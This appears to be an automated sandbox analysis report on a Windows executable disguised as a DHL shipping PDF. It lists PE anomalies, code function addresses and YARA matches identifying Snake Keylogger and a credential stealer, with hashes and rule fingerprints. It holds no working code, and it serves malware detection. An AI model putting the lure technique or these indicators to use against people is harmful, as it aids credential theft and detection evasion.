Source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

PE file contains section with special chars

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: section name: AGB[a"h3

PE file has nameless sections

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: section name:

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DBA7D4	0_2_02DBA7D4
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB3A88	0_2_02DB3A88
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB2B18	0_2_02DB2B18
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB48D0	0_2_02DB48D0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB2880	0_2_02DB2880
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB0871	0_2_02DB0871
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB1CB7	0_2_02DB1CB7
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB62C0	0_2_02DB62C0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB62B0	0_2_02DB62B0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB30E0	0_2_02DB30E0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB27DB	0_2_02DB27DB
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB47F1	0_2_02DB47F1
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB5710	0_2_02DB5710
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB5700	0_2_02DB5700
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB6AD9	0_2_02DB6AD9
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB6AE8	0_2_02DB6AE8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB48B5	0_2_02DB48B5
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DBDDB8	0_2_02DBDDB8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB6D40	0_2_02DB6D40
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_02DB6D30	0_2_02DB6D30
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A180A60	0_2_0A180A60
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A186D00	0_2_0A186D00
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A1894B0	0_2_0A1894B0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A186CEA	0_2_0A186CEA
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A19D250	0_2_0A19D250
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A1917C0	0_2_0A1917C0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A1917BA	0_2_0A1917BA
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A694780	0_2_0A694780
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A690EC1	0_2_0A690EC1
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A690F20	0_2_0A690F20
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A742970	0_2_0A742970
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A741230	0_2_0A741230
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A7407D8	0_2_0A7407D8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A7464F0	0_2_0A7464F0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A74A4B0	0_2_0A74A4B0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A7405F0	0_2_0A7405F0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A7419F0	0_2_0A7419F0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A74C340	0_2_0A74C340
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A740040	0_2_0A740040
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A740007	0_2_0A740007
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A7416D8	0_2_0A7416D8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0F025808	0_2_0F025808
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0F027A90	0_2_0F027A90
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0F020006	0_2_0F020006
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0F020040	0_2_0F020040
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0F020468	0_2_0F020468
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0F020478	0_2_0F020478
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0F0208A8	0_2_0F0208A8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0F0208B0	0_2_0F0208B0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0F0224B8	0_2_0F0224B8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0104C168	2_2_0104C168
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0104A7F2	2_2_0104A7F2
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0104CAB0	2_2_0104CAB0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_01044F08	2_2_01044F08
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_01047E68	2_2_01047E68
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0104C37B	2_2_0104C37B
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_010427B9	2_2_010427B9
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0104B9DC	2_2_0104B9DC
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0104B9E0	2_2_0104B9E0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0104CAAE	2_2_0104CAAE
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_01042DDB	2_2_01042DDB
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_01047E66	2_2_01047E66
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_01044EFB	2_2_01044EFB
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06557780	2_2_06557780
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06551C58	2_2_06551C58
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06554500	2_2_06554500
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_065515F8	2_2_065515F8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06556A20	2_2_06556A20
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655F630	2_2_0655F630
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655F620	2_2_0655F620
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655A6C8	2_2_0655A6C8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655D690	2_2_0655D690
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655D682	2_2_0655D682
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655A6B9	2_2_0655A6B9
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06552F48	2_2_06552F48
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655AF78	2_2_0655AF78
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655AF68	2_2_0655AF68
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06552F38	2_2_06552F38
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_065537F8	2_2_065537F8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_065537E8	2_2_065537E8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06553C50	2_2_06553C50
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06553C42	2_2_06553C42
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06551C49	2_2_06551C49
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655BC71	2_2_0655BC71
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655DC12	2_2_0655DC12
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655DC20	2_2_0655DC20
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655E4D0	2_2_0655E4D0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655E4C0	2_2_0655E4C0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06550498	2_2_06550498
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655BC80	2_2_0655BC80
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06550489	2_2_06550489
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06559CA0	2_2_06559CA0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06550D43	2_2_06550D43
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06550D48	2_2_06550D48
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655ED70	2_2_0655ED70
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655C530	2_2_0655C530
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655C520	2_2_0655C520
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655CDD0	2_2_0655CDD0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_065515F3	2_2_065515F3
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655CDE0	2_2_0655CDE0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655ED80	2_2_0655ED80
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655A270	2_2_0655A270
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655FA78	2_2_0655FA78
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655A261	2_2_0655A261
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655D238	2_2_0655D238
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06552AF0	2_2_06552AF0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06552AE0	2_2_06552AE0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655FA88	2_2_0655FA88
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655AB10	2_2_0655AB10
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655AB20	2_2_0655AB20
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655B3D0	2_2_0655B3D0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655B3C1	2_2_0655B3C1
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06553392	2_2_06553392
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_065533A0	2_2_065533A0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06550040	2_2_06550040
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655E078	2_2_0655E078
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655E068	2_2_0655E068
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655001E	2_2_0655001E
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655B818	2_2_0655B818
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655B828	2_2_0655B828
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655C0D8	2_2_0655C0D8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655C0CA	2_2_0655C0CA
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_065508F0	2_2_065508F0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_065508EB	2_2_065508EB
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06554098	2_2_06554098
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_065540A8	2_2_065540A8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655C97A	2_2_0655C97A
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655E922	2_2_0655E922
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655E928	2_2_0655E928
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655F1D8	2_2_0655F1D8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655F1C8	2_2_0655F1C8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06551197	2_2_06551197
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655C988	2_2_0655C988
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_065511A0	2_2_065511A0

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: invalid certificate

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1106846219.0000000002F4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTL.dll" vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1106846219.00000000031E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1111503634.000000000A8C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1106846219.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTL.dll" vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1111394214.000000000A890000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTL.dll" vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1107898524.00000000046F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1105672095.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3534770188.000000000041A000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3535022261.0000000000BE7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Binary or memory string: OriginalFilenameZzdw.exeX vs DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

